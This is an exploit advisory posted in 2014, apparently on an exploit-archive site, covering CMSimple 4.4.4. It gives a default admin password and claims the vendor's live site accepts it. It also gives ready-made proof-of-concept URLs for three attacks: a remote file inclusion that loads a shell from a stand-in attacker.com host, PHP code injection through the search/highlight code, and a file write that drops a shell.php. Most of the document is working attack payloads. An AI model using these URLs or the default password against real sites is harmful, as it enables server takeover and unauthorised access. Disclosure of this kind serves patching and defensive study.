Home / os / wins2003

CMSimple 4.4.4 RFI / Code Execution / Default Password

Posted on 29 July 2014

################################################################################################## # #Exploit Title : CMSimple 4.4.4 various security vulnerability #Author : Govind Singh aka NullPort #Vendor : http://cmsimple.org/ #Download Link : http://www.cmsimple.org/downloadcounter/dlcount/count.php?id=31 #Date : 26/07/2014 #Discovered at : IHT Lab ( 1ND14N H4X0R5 T34M ) #Love to : Manish Tanwar, DeadMan India, Hardeep Singh, Amit Kumar Achina , Jitender Dangi #Greez to : All IHT Members # ################################################################################################### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Indian Haxors Team~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Weak Authentication : Any user can login just with simple password "test" which is the default cms password & there own vendor site is vulnerable with weak authentication just login without user name & also with default password "test" here "http://cmsimple.org/2author/?Welcome_to_CMSimple&login" :p ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Indian Haxors Team~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Remote file Inclusion :: vulnerable file "http://localhost/CMSimple/plugins/filebrowser/classes/required_classes.php" Vulnerable Code : -----------------------------------vulnerable Code---------------------------------------- require_once $pth['folder']['plugin'] . 'classes/filebrowser_view.php'; require_once $pth['folder']['plugin'] . 'classes/filebrowser.php'; exploit Code : -------------------------------------PoC---------------------------------------- http://localhost/CMSimple/plugins/filebrowser/classes/required_classes.php?pth[folder][plugin]=http://attacker.com/shell.txt? also embedded These files : CMSimple/2lang/index.php CMSimple/2site/index.php CMSimple/cmsimple/cms.php CMSimple/index.php CMSimple/plugins/index.php ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Indian Haxors Team~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Remote Code Execution :: vulnerable file "http://localhost/CMSimple/2author/index.php" An attacker might execute arbitrary PHP code with this vulnerability. User tainted data is embedded into a function that compiles PHP code on the run and executes it thus allowing an attacker to inject own PHP code that will be executed. This vulnerability can lead to full server compromise. Vulnerable Code: -------------------------------------vulnerable code--------------------------------------- 1320: preg_replace $c[$s] = preg_replace($words, '<span style="background: ' . $cmsimple_highlight_bg . '; color: ' . $cmsimple_highlight_tx . ';">\0</span>', $c[$s]); // functions.php 1316: $words = array_map(create_function('$w', 'return "&".$w."(?!([^<]+)?>)&isU";'), $words); // functions.php 1315: $words = explode(',', urldecode($_GET['search'])); // functions.php 1308: function content($cmsimple_highlight_bg = NULL, $cmsimple_highlight_tx = NULL) 1308: function content($cmsimple_highlight_bg = NULL, $cmsimple_highlight_tx = NULL) --------------------------------------vulnerable Code--------------------------------------- 1324: preg_replace $c[$s] = preg_replace($words, '<span class="highlight_search">\0</span>', $c[$s]); // functions.php 1316: $words = array_map(create_function('$w', 'return "&".$w."(?!([^<]+)?>)&isU";'), $words); // functions.php 1315: $words = explode(',', urldecode($_GET['search'])); // functions.php -------------------------------PoC:------------------------------ http://localhost/CMSimple/2author/index.php?color=';phpinfo();// also effect these files : CMSimple/2lang/index.php CMSimple/2site/index.php CMSimple/2site2lang/index.php CMSimple/cmsimple/cms.php CMSimple/cmsimple/functions.php CMSimple/index.php ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Indian Haxors Team~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ File Manipulation :: http://localhost/CMSimple/2author/index.php http://localhost/CMSimple/cmsimple/adm.php http://localhost/CMSimple/cmsimple/login.php http://localhost/CMSimple/plugins/filebrowser/classes/filebrowser.php ---------------------------------PoC---------------------------------- http://localhost/CMSimple/2author/index.php?file=shell.php&data=<?php phpinfo();?> Greez Team IHT :: DeadMan , Eagle Shadoow , Ajay Kharab, Sem Samer , Ravi Rajput , Haxor Rahul , Vaibhav Singh , X-man India ,Rony & All Indian Hackers

 

TOP